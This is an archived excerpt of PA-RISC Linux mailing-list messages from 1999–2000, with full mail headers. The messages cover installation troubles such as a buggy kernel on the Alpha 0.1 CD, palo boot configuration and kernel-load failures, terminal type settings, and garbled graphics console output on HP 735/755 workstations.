	id 13rUOs-0003xh-00; Fri, 03 Nov 2000 00:08:06 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <200011021858.TAA28230@mailgate3.cinetic.de>; from headcrusher@web.de on Thu, Nov 02, 2000 at 07:58:51PM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8307

On Thu, Nov 02, 2000 at 07:58:51PM +0100,  Alexander Schck  wrote:
> How can I go on with the installation?

question added to the FAQ:

7. I'm using the Alpha 0.1 release CD and the machine stops after printing 
     request_irq(259, c01ec76c, 0x0, asp, c3rcd080)
   what's going on? 

This is a bug in the kernel shipped on the CD. It only affects certain
machines and has been fixed in the current CVS tree. We recommend you
acquire a newer kernel from the FTP site.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kailashnath V Rampure <kailasr@webcash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Boot command
Date: Thu, 02 Nov 2000 17:29:19 -0800
Lines: 16
Approved: news@gmane.org
Message-ID: <5.0.0.25.0.20001102172521.02ac5e40@mail.webcash.com>
References: <20001031231609.8F44638554@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416619245 5443 80.91.229.3 (22 Nov 2014 01:20:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:45 +0000 (UTC)
To: Matt Taggart <taggart@carmen.fc.hp.com>, parisc-linux@thepuffingroup.com
Original-X-From: kailasr@webcash.com  Thu Nov  2 18:31:28 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA09606
	for <parisc-linux@puffin.external.hp.com>; Thu, 2 Nov 2000 18:31:28 -0700
Original-Received: (qmail 21856 invoked by uid 15267); 3 Nov 2000 01:33:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21847 invoked from network); 3 Nov 2000 01:33:11 -0000
Original-Received: from ns2.imedia.net (209.247.154.4)
  by mailserv2.iuinc.com with SMTP; 3 Nov 2000 01:33:11 -0000
Original-Received: from test.webcash.com (adsl-63-202-198-74.dsl.snfc21.pacbell.net [63.202.198.74])
	by ns2.imedia.net (8.10.2/8.9.3) with ESMTP id eA31RKT06068;
	Thu, 2 Nov 2000 17:27:21 -0800 (PST)
X-Sender: kailasr@mail.webcash.com
X-Mailer: QUALCOMM Windows Eudora Version 5.0
X-Priority: 1 (Highest)
In-Reply-To: <20001031231609.8F44638554@carmen.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8308

Hi,
I have run the following command to initialize the sda harddisk. The sda3 
is the linux native partion.
Wen I say boot on the HP server  it is trying to boot from /stand/vmunix 
instead of vmlinux can any one help me about the command. Secondaly I want 
to knwo what is the term type as its not taking vt100 so I am unable to 
open vi.

I have made nesessary changes for the /etc/fstab

$ palo -I -k /boot/vmlinux -b /boot/iplboot -c '3/boot/vmlinux TERM=linux 
HOME=/ root=/dev/sda3' /dev/sda

regards
Kailas


From - Thu Nov 08 21:13:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel updates.
Date: Sun, 18 Apr 1999 03:42:40 -0400 (EDT)
Lines: 29
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990418033924.1235E-100000@devserv.devel.redhat.com>
References: <r2k8vamloo.fsf@happy.cygnus.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619245 5449 80.91.229.3 (22 Nov 2014 01:20:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:45 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Ulrich Drepper <drepper@cygnus.com>
Original-X-From: adevries@redhat.com  Sun Apr 18 03:42:45 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id DAA16626
	for <parisc-linux@sod.res.cmu.edu>; Sun, 18 Apr 1999 03:42:45 -0400
Original-Received: (qmail 3417 invoked by uid 15267); 18 Apr 1999 07:41:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3409 invoked from network); 18 Apr 1999 07:41:40 -0000
Original-Received: from devserv.devel.redhat.com (adevries@207.175.42.156)
  by mailserv2.iuinc.com with SMTP; 18 Apr 1999 07:41:40 -0000
Original-Received: from localhost (adevries@localhost)
	by devserv.devel.redhat.com (8.8.7/8.8.7) with SMTP id DAA11656;
	Sun, 18 Apr 1999 03:42:40 -0400
X-Authentication-Warning: devserv.devel.redhat.com: adevries owned process doing -bs
X-Sender: adevries@devserv.devel.redhat.com
In-Reply-To: <r2k8vamloo.fsf@happy.cygnus.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8309


On 18 Apr 1999, Ulrich Drepper wrote:
> Alex deVries <adevries@redhat.com> writes:
> > And the answer to this is:  
> > - the only docs we have for 32 bit ELF from HP are quite old
> > - if they're incomplete, it's up to us fill in the information
> > - this is a good forum to ask directed questions on this topic
> 
> The question is: "is the documentation incomplete or wrong?".

My understanding is that that documentations' always been incomplete, but
not wrong.  Really the best person to talk to is Cary.  Cary?

The documents in question are available at:

http://www.software.hp.com/STK/toc.html#Object

There's some other .h files that might be helpful as well.

- Alex

-- 
Alex deVries <puffin@redhat.com>     
Red Hat Contrib Net maintainer          
Ottawa, Canada  
PA RISC Linux Porting Team




From - Thu Nov 08 21:13:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot command
Date: Thu, 02 Nov 2000 17:44:23 -0800
Lines: 41
Approved: news@gmane.org
Message-ID: <200011030144.RAA29455@milano.cup.hp.com>
References: <5.0.0.25.0.20001102172521.02ac5e40@mail.webcash.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619246 5454 80.91.229.3 (22 Nov 2014 01:20:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:46 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Kailashnath V Rampure <kailasr@webcash.com>
Original-X-From: grundler@cup.hp.com  Thu Nov  2 18:37:45 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA09940
	for <parisc-linux@puffin.external.hp.com>; Thu, 2 Nov 2000 18:37:44 -0700
Original-Received: (qmail 27529 invoked by uid 15267); 3 Nov 2000 01:39:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27519 invoked from network); 3 Nov 2000 01:39:29 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 3 Nov 2000 01:39:29 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id CD3F57C9B; Thu,  2 Nov 2000 17:39:27 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id RAA29455;
	Thu, 2 Nov 2000 17:44:24 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 02 Nov 2000 17:29:19 PST."
             <5.0.0.25.0.20001102172521.02ac5e40@mail.webcash.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8310

Kailashnath V Rampure wrote:
> Hi,
> I have run the following command to initialize the sda harddisk. The sda3 
> is the linux native partion.
> Wen I say boot on the HP server  it is trying to boot from /stand/vmunix 
> instead of vmlinux can any one help me about the command.

Sounds like your system is booting from an existing HPUX installed disk.
Ie you are not using palo.

> Secondaly I want 
> to knwo what is the term type as its not taking vt100 so I am unable to 
> open vi.

TERM=linux is what I've seen before.
The debian ncurses package might need to be installed first though
and vt100 should work too.

Search the mail archive at
	http://puffin.external.hp.com/cgi-bin/mailgrep

grant

> 
> I have made nesessary changes for the /etc/fstab
> 
> $ palo -I -k /boot/vmlinux -b /boot/iplboot -c '3/boot/vmlinux TERM=linux 
> HOME=/ root=/dev/sda3' /dev/sda
> 
> regards
> Kailas
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot command
Date: Thu, 02 Nov 2000 18:47:33 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <20001103014733.4D08337C9F@carmen.fc.hp.com>
References: <5.0.0.25.0.20001102172521.02ac5e40@mail.webcash.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619246 5458 80.91.229.3 (22 Nov 2014 01:20:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:46 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Kailashnath V Rampure <kailasr@webcash.com>
Original-X-From: taggart@carmen.fc.hp.com  Thu Nov  2 18:44:01 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA10307
	for <parisc-linux@puffin.external.hp.com>; Thu, 2 Nov 2000 18:44:00 -0700
Original-Received: (qmail 765 invoked by uid 15267); 3 Nov 2000 01:45:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 748 invoked from network); 3 Nov 2000 01:45:44 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 3 Nov 2000 01:45:44 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 2B1901E3; Thu,  2 Nov 2000 20:45:44 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 4D08337C9F; Thu,  2 Nov 2000 18:47:33 -0700 (MST)
X-Mailer: exmh version 2.2 06/23/2000 (debian 2.2-1) with nmh-1.0.4+dev
In-Reply-To: Message from Kailashnath V Rampure <kailasr@webcash.com> 
   of "Thu, 02 Nov 2000 17:29:19 PST." <5.0.0.25.0.20001102172521.02ac5e40@mail.webcash.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8311


Kailashnath V Rampure writes...

> Hi,
> I have run the following command to initialize the sda harddisk. The sda3 
> is the linux native partion.
> Wen I say boot on the HP server  it is trying to boot from /stand/vmunix 
> instead of vmlinux can any one help me about the command.

This means that you are somehow still booting an HP-UX lifimage. Did you 
follow the directions on,

http://www.thepuffingroup.com/parisc/install.html

including the partitioning stuff? Maybe you're still booting off another disk, 
are you sure you're booting from the linux disk?

HTH,

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:13:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q? "Alexander=20Sch=F6ck" ?= <headcrusher@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Re: [parisc-linux] Help!?
Date: Fri, 3 Nov 2000 08:04:31 +0100
Organization: http://freemail.web.de/
Lines: 29
Approved: news@gmane.org
Message-ID: <200011030704.IAA17295@mailgate3.cinetic.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619246 5459 80.91.229.3 (22 Nov 2014 01:20:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:46 +0000 (UTC)
To: "Matthew Wilcox" <matthew@wil.cx>
Original-X-From: willy@www.linux.org.uk  Fri Nov  3 02:16:46 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA22375
	for <parisc-linux@puffin.external.hp.com>; Fri, 3 Nov 2000 02:16:46 -0700
Original-Received: (qmail 22491 invoked by uid 15267); 3 Nov 2000 09:18:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22483 invoked from network); 3 Nov 2000 09:18:21 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 3 Nov 2000 09:18:21 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 13rczM-000381-00
	for parisc-linux@thepuffingroup.com; Fri, 03 Nov 2000 09:18:20 +0000
Original-Received: from [212.49.219.163] (helo=mail-gw-2.planet-three.net ident=root)
	by www.linux.org.uk with esmtp (Exim 3.13 #1)
	id 13ratv-0001Da-00
	for willy@ftp.uk.linux.org; Fri, 03 Nov 2000 07:04:35 +0000
Original-Received: from mailgate3.cinetic.de (root@mailgate3.cinetic.de [212.227.116.80])
	by mail-gw-2.planet-three.net (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id HAA10395
	for <matthew@wil.cx>; Fri, 3 Nov 2000 07:04:34 GMT
Original-Received: from cinetic.de (popeye.cinetic.de [194.122.194.100])
	by mailgate3.cinetic.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id IAA17295
	for <matthew@wil.cx>; Fri, 3 Nov 2000 08:04:31 +0100
Precedence: fm-user
Resent-From: willy@parcelfarce.linux.theplanet.co.uk
Resent-Date: Fri, 3 Nov 2000 09:18:20 +0000
Resent-To: parisc-linux@thepuffingroup.com
Resent-Message-Id: <E13rczM-000381-00@www.linux.org.uk>
Resent-Sender: <willy@www.linux.org.uk>
X-MIME-Autoconverted: from quoted-printable to 8bit by puffin.external.hp.com id CAA22375
Xref: news.gmane.org gmane.linux.ports.parisc:8312


I downloaded a new kernel from the ftp-site, how
can i use this kernel to work with my machine?
This is a image file, how can i extract this file, or must
i copy it only to the boot-cd?
How can i use this kernel?

Matthew Wilcox <matthew@wil.cx> schrieb am 03.11.00:
> On Thu, Nov 02, 2000 at 07:58:51PM +0100,  Alexander Schck  wrote:
> > How can I go on with the installation?
> 
> question added to the FAQ:
> 
> 7. I'm using the Alpha 0.1 release CD and the machine stops after printing 
>      request_irq(259, c01ec76c, 0x0, asp, c3rcd080)
>    what's going on? 
> 
> This is a bug in the kernel shipped on the CD. It only affects certain
> machines and has been fixed in the current CVS tree. We recommend you
> acquire a newer kernel from the FTP site.
> 
> -- 
> Revolutions do not require corporate support. >


_______________________________________________________________________
1.000.000 DM gewinnen - kostenlos tippen - http://millionenklick.web.de
IhrName@web.de, 8MB Speicher, Verschluesselung - http://freemail.web.de


From - Thu Nov 08 21:13:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phillip Beal <pdbeal@louisville.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] STI Console problems on 735 and 755
Date: Fri, 3 Nov 2000 10:02:39 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <20001103100239.A37904@athena.louisville.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619246 5462 80.91.229.3 (22 Nov 2014 01:20:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:46 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: pdbeal@louisville.edu  Fri Nov  3 08:01:21 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA26724
	for <parisc-linux@puffin.external.hp.com>; Fri, 3 Nov 2000 08:01:21 -0700
Original-Received: (qmail 8366 invoked by uid 15267); 3 Nov 2000 15:03:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8349 invoked from network); 3 Nov 2000 15:03:06 -0000
Original-Received: from erouter0.it-datacntr.louisville.edu (136.165.1.36)
  by mailserv2.iuinc.com with SMTP; 3 Nov 2000 15:03:06 -0000
Original-Received: from athena.louisville.edu (athena.louisville.edu [136.165.1.37])
	by erouter0.it-datacntr.louisville.edu (Postfix) with ESMTP id 308C6252CC
	for <parisc-linux@thepuffingroup.com>; Fri,  3 Nov 2000 10:03:04 -0500 (EST)
Original-Received: by athena.louisville.edu (Postfix, from userid 43478)
	id A467FB44; Fri,  3 Nov 2000 10:02:39 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Xref: news.gmane.org gmane.linux.ports.parisc:8313

Hey,

After all the help I obtained from this list, both through my posts and
through the archives, I've finally gotten the 735 and 755, that I have
access to, to boot and run linux.  However, as soon as it starts to
process init, the console screen becomes garbled.  The system continues
to boot, and I can access the machine via serial console and minicom,
but the physical console on the box, just prints garbage.  Is this
normal for this stage of development?  I couldn't see anything in the
archives, that said it was, so I'm wondering how I fix this problem, if
its been fixed before.  

Thanks, 
-- 
Phillip Beal
Electrical and Computer Engineering
S+LUG Vice-President


From - Thu Nov 08 21:13:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] STI Console problems on 735 and 755
Date: Fri, 03 Nov 2000 11:37:08 -0500
Organization: The Puffins at Linuxcare
Lines: 26
Approved: news@gmane.org
Message-ID: <3A02E9B4.5B93F47@linuxcare.com>
References: <20001103100239.A37904@athena.louisville.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619247 5464 80.91.229.3 (22 Nov 2014 01:20:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:47 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Phillip Beal <pdbeal@louisville.edu>
Original-X-From: adevries@linuxcare.com  Fri Nov  3 08:28:19 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA27271
	for <parisc-linux@puffin.external.hp.com>; Fri, 3 Nov 2000 08:28:18 -0700
Original-Received: (qmail 12935 invoked by uid 15267); 3 Nov 2000 15:30:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12874 invoked from network); 3 Nov 2000 15:30:01 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 3 Nov 2000 15:30:01 -0000
Original-Received: (qmail 24294 invoked from network); 3 Nov 2000 15:30:01 -0000
Original-Received: from ottawa.linuxcare.com (HELO linuxcare.com) (216.208.98.2)
  by smtp.linuxcare.com with SMTP; 3 Nov 2000 15:30:01 -0000
Original-Sender: adevries@mailserv2.iuinc.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.13 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8314

Phillip Beal wrote:
> After all the help I obtained from this list, both through my posts and
> through the archives, I've finally gotten the 735 and 755, that I have
> access to, to boot and run linux.  However, as soon as it starts to
> process init, the console screen becomes garbled.  The system continues
> to boot, and I can access the machine via serial console and minicom,
> but the physical console on the box, just prints garbage.  Is this
> normal for this stage of development?  I couldn't see anything in the
> archives, that said it was, so I'm wondering how I fix this problem, if
> its been fixed before.

Good to hear that your 735 and 755 start to boot!

What kind of graphics hardware is sitting on a 735 or 755?  I think
we've only ever looked at that on a 712 and 715.  

Can you use serial console in the meantime?

- Alex

-- 
Alex deVries, Principal Solutions Architect, The Puffins at Linuxcare
613.562.2759 tel
alex@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Support for the revolution.


From - Thu Nov 08 21:13:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phillip Beal <pdbeal@louisville.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] STI Console problems on 735 and 755
Date: Fri, 3 Nov 2000 10:49:00 -0500
Lines: 31
Approved: news@gmane.org
Message-ID: <20001103104900.B68620@athena.louisville.edu>
References: <20001103100239.A37904@athena.louisville.edu> <3A02E9B4.5B93F47@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619247 5465 80.91.229.3 (22 Nov 2014 01:20:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:47 +0000 (UTC)
Cc: Phillip Beal <pdbeal01@athena.louisville.edu>,
        parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@linuxcare.com>
Original-X-From: pdbeal@louisville.edu  Fri Nov  3 08:47:43 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA27767
	for <parisc-linux@puffin.external.hp.com>; Fri, 3 Nov 2000 08:47:42 -0700
Original-Received: (qmail 5715 invoked by uid 15267); 3 Nov 2000 15:49:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5700 invoked from network); 3 Nov 2000 15:49:27 -0000
Original-Received: from erouter0.it-datacntr.louisville.edu (136.165.1.36)
  by mailserv2.iuinc.com with SMTP; 3 Nov 2000 15:49:27 -0000
Original-Received: from athena.louisville.edu (athena.louisville.edu [136.165.1.37])
	by erouter0.it-datacntr.louisville.edu (Postfix) with ESMTP
	id 7E73924F4C; Fri,  3 Nov 2000 10:49:25 -0500 (EST)
Original-Received: by athena.louisville.edu (Postfix, from userid 43478)
	id 37E40B65; Fri,  3 Nov 2000 10:49:01 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3A02E9B4.5B93F47@linuxcare.com>; from adevries@linuxcare.com on Fri, Nov 03, 2000 at 11:37:08AM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:8315

> What kind of graphics hardware is sitting on a 735 or 755?  I think
> we've only ever looked at that on a 712 and 715.  

Both the 735 and the 755 have the following device, that seems be refer
to the graphics:

Coral SGC Graphics (10) at 0xf8000000, version 0x4, 0x0, 0x77, 0x0, 0x0

However, the 755 is known only to use mono graphics, even though they
both report the same info for the Coral SGC Grpahics. 

I hope this helps,

> Can you use serial console in the meantime?

Yeah, serial works just fine.

> 
> - Alex
> 
> -- 
> Alex deVries, Principal Solutions Architect, The Puffins at Linuxcare
> 613.562.2759 tel
> alex@linuxcare.com, http://www.linuxcare.com/
> Linuxcare, Support for the revolution.

-- 
Phillip Beal
Electrical and Computer Engineering
S+LUG Vice-President


From - Thu Nov 08 21:13:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kailashnath V Rampure <kailasr@webcash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot command
Date: Fri, 03 Nov 2000 11:03:23 -0800
Lines: 51
Approved: news@gmane.org
Message-ID: <5.0.0.25.0.20001102174648.02a4fb20@mail.webcash.com>
References: <Message from Kailashnath V Rampure <kailasr@webcash.com>
 <5.0.0.25.0.20001102172521.02ac5e40@mail.webcash.com>
 <5.0.0.25.0.20001102172521.02ac5e40@mail.webcash.com> <20001103014733.4D08337C9F@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416619247 5470 80.91.229.3 (22 Nov 2014 01:20:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:47 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: kailasr@webcash.com  Fri Nov  3 12:05:21 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA29232
	for <parisc-linux@puffin.external.hp.com>; Fri, 3 Nov 2000 12:05:21 -0700
Original-Received: (qmail 27324 invoked by uid 15267); 3 Nov 2000 19:07:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27278 invoked from network); 3 Nov 2000 19:07:04 -0000
Original-Received: from ns2.imedia.net (209.247.154.4)
  by mailserv2.iuinc.com with SMTP; 3 Nov 2000 19:07:04 -0000
Original-Received: from test.webcash.com (adsl-63-202-198-74.dsl.snfc21.pacbell.net [63.202.198.74])
	by ns2.imedia.net (8.10.2/8.9.3) with ESMTP id eA3J1MH87324;
	Fri, 3 Nov 2000 11:01:22 -0800 (PST)
X-Sender: kailasr@mail.webcash.com
X-Mailer: QUALCOMM Windows Eudora Version 5.0
In-Reply-To: <20001103014733.4D08337C9F@carmen.fc.hp.com>
Original-References: <Message from Kailashnath V Rampure <kailasr@webcash.com>
 <5.0.0.25.0.20001102172521.02ac5e40@mail.webcash.com>
 <5.0.0.25.0.20001102172521.02ac5e40@mail.webcash.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8316

Yes I have been following the same Doc.
its tries to boot from the sda  as I can see the hard disk path. I have 2 
Hdd's one sda and other sdb. the path are 8/16/5.6 and other is 8/16/5.0. 
Here I think /dev/sda is 8/16/5.6.

It is trying to boot but give sthe following o/p:

Boot IO Dependent Code (IODC) revision 144
.... SUCCEEDED!

HARD Booted.
palo ipl bame@noam Tue Oct 31 14:18:02 MST 2000
0/vmlinux 208896 bytes @ 0x1f78c000
0/palo-cmdline '3/boot/vmlinux TERM=linux Home=/ root=/dev/sdb3'
/dev/ida1       82      62              1030688
/dev/ida2       f0      1030750 24738
/dev/ida3       83      1055488 1030750
Kernel:partition 3 file /boot/vmlinux
ext2 block size 1024
ext2_mount(partition 3) returns 0
ext2_open(/boot/vmlinux)=3
Couldn't gork your kernel executabel format failed to load kernel
Failed to load Kernel.

please suggest.

At 06:47 PM 11/2/00 -0700, Matt Taggart wrote:

>Kailashnath V Rampure writes...
>
> > Hi,
> > I have run the following command to initialize the sda harddisk. The sda3
> > is the linux native partion.
> > Wen I say boot on the HP server  it is trying to boot from /stand/vmunix
> > instead of vmlinux can any one help me about the command.
>
>This means that you are somehow still booting an HP-UX lifimage. Did you
>follow the directions on,
>
>http://www.thepuffingroup.com/parisc/install.html
>
>including the partitioning stuff? Maybe you're still booting off another 
>disk,
>are you sure you're booting from the linux disk?
>
>HTH,
>
>--
>Matt Taggart
>taggart@fc.hp.com


From - Thu Nov 08 21:13:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot command
Date: Fri, 03 Nov 2000 11:19:29 -0800
Lines: 16
Approved: news@gmane.org
Message-ID: <200011031919.LAA00315@milano.cup.hp.com>
References: <5.0.0.25.0.20001102174648.02a4fb20@mail.webcash.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619248 5475 80.91.229.3 (22 Nov 2014 01:20:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:48 +0000 (UTC)
Cc: Matt Taggart <taggart@carmen.fc.hp.com>, parisc-linux@thepuffingroup.com
To: Kailashnath V Rampure <kailasr@webcash.com>
Original-X-From: grundler@cup.hp.com  Fri Nov  3 12:12:56 2000
